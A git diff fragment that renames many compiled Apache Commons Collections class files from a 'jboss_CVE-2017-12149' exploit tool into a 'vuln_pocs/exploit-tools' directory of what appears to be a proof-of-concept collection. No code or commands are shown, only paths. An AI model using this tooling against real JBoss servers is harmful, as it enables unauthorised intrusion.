vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap$Values.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/FastTreeMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/FunctorException.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/FunctorException.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/FunctorException.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/FunctorException.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/HashBag.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/HashBag.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/HashBag.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/HashBag.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/IterableMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/IterableMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/IterableMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/IterableMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/IteratorUtils.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/IteratorUtils.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/IteratorUtils.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/IteratorUtils.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/KeyValue.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/KeyValue.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/KeyValue.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/KeyValue.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/LRUMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/LRUMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/LRUMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/LRUMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ListUtils.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ListUtils.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/ListUtils.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ListUtils.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/MapIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/MapIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/MapIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/MapIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/MapUtils.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/MapUtils.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/MapUtils.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/MapUtils.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/MultiHashMap$ValueIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/MultiHashMap$ValueIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/MultiHashMap$ValueIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/MultiHashMap$ValueIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/MultiHashMap$Values.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/MultiHashMap$Values.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/MultiHashMap$Values.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/MultiHashMap$Values.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/MultiHashMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/MultiHashMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/MultiHashMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/MultiHashMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/MultiMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/MultiMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/MultiMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/MultiMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/OrderedBidiMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/OrderedBidiMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/OrderedBidiMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/OrderedBidiMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/OrderedIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/OrderedIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/OrderedIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/OrderedIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/OrderedMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/OrderedMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/OrderedMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/OrderedMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/OrderedMapIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/OrderedMapIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/OrderedMapIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/OrderedMapIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/Predicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/Predicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/Predicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/Predicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/PredicateUtils.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/PredicateUtils.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/PredicateUtils.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/PredicateUtils.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/PriorityQueue.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/PriorityQueue.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/PriorityQueue.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/PriorityQueue.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ProxyMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ProxyMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/ProxyMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ProxyMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$1.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$1.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$1.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$1.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$2.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$2.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$2.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$2.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$3.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$3.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$3.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$3.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$Entry.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$Entry.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$Entry.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$Entry.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$EntryIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$EntryIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$EntryIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$EntryIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$KeyIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$KeyIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$KeyIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$KeyIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$SoftRef.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$SoftRef.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$SoftRef.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$SoftRef.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$ValueIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$ValueIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$ValueIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$ValueIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$WeakRef.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$WeakRef.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$WeakRef.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$WeakRef.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ResettableIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ResettableIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/ResettableIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ResettableIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ResettableListIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ResettableListIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/ResettableListIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/ResettableListIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$1.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$1.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$1.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$1.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$2.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$2.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$2.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$2.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$3.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$3.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$3.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$3.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$Entry.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$Entry.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$Entry.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$Entry.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$OrderedIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$OrderedIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$OrderedIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$OrderedIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SetUtils.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SetUtils.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/SetUtils.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SetUtils.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SortedBag.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SortedBag.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/SortedBag.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SortedBag.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SortedBidiMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SortedBidiMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/SortedBidiMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SortedBidiMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$EntryIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$EntryIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$EntryIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$EntryIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$EntrySet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$EntrySet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$EntrySet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$EntrySet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$KeyIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$KeyIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$KeyIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$KeyIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$KeySet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$KeySet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$KeySet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$KeySet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$Lock.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$Lock.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$Lock.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$Lock.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$Node.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$Node.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$Node.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$Node.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$ValueIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$ValueIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$ValueIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$ValueIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$Values.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$Values.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$Values.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$Values.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SynchronizedPriorityQueue.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SynchronizedPriorityQueue.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/SynchronizedPriorityQueue.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/SynchronizedPriorityQueue.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/Transformer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/Transformer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/Transformer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/Transformer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/TransformerUtils.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/TransformerUtils.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/TransformerUtils.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/TransformerUtils.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/TreeBag.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/TreeBag.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/TreeBag.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/TreeBag.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/UnboundedFifoBuffer$1.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/UnboundedFifoBuffer$1.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/UnboundedFifoBuffer$1.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/UnboundedFifoBuffer$1.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/UnboundedFifoBuffer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/UnboundedFifoBuffer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/UnboundedFifoBuffer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/UnboundedFifoBuffer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/Unmodifiable.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/Unmodifiable.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/Unmodifiable.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/Unmodifiable.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractBagDecorator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractBagDecorator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractBagDecorator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractBagDecorator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractMapBag$BagIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractMapBag$BagIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractMapBag$BagIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractMapBag$BagIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractMapBag$MutableInteger.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractMapBag$MutableInteger.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractMapBag$MutableInteger.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractMapBag$MutableInteger.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractMapBag.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractMapBag.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractMapBag.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractMapBag.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractSortedBagDecorator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractSortedBagDecorator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractSortedBagDecorator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractSortedBagDecorator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/HashBag.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/HashBag.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/HashBag.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/HashBag.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/PredicatedBag.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/PredicatedBag.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/PredicatedBag.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/PredicatedBag.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/PredicatedSortedBag.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/PredicatedSortedBag.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/PredicatedSortedBag.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/PredicatedSortedBag.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/SynchronizedBag$SynchronizedBagSet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/SynchronizedBag$SynchronizedBagSet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/SynchronizedBag$SynchronizedBagSet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/SynchronizedBag$SynchronizedBagSet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/SynchronizedBag.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/SynchronizedBag.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/SynchronizedBag.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/SynchronizedBag.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/SynchronizedSortedBag.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/SynchronizedSortedBag.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/SynchronizedSortedBag.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/SynchronizedSortedBag.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/TransformedBag.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/TransformedBag.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/TransformedBag.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/TransformedBag.class diff --git 